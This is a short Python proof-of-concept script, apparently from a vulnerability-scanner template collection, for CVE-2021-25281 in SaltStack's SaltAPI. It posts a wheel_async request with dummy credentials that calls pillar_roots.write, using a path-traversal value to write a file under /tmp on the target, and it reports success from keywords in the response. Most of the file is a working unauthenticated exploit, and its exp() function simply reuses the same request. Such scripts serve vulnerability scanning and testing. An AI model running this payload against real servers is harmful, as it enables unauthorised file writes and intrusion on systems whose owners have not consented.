import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''SaltStack wheel_async unauth access''',
        "description": '''The SaltAPI does not honor eauth credentials for the wheel_async client. Thus, an attacker can remotely run any wheel modules on the master.''',
        "severity": "critical",
        "references": [
            "http://hackdig.com/02/hack-283902.htm", 
            "https://dozer.nz/posts/saltapi-vulns"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2021-25281",
            "cwe-id": "CWE-287"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2021", "saltapi", "rce", "saltstack", "unauth"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        path = """/run"""
        method = "POST"
        data = {"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}
        headers = {'Content-Type': 'application/json'}
        resp0 = requests.request(method=method,url=url+path,json=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if ("""return""" in resp0.text and """tag""" in resp0.text and """jid""" in resp0.text and """salt""" in resp0.text and """wheel""" in resp0.text) and (resp0.status_code == 200):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url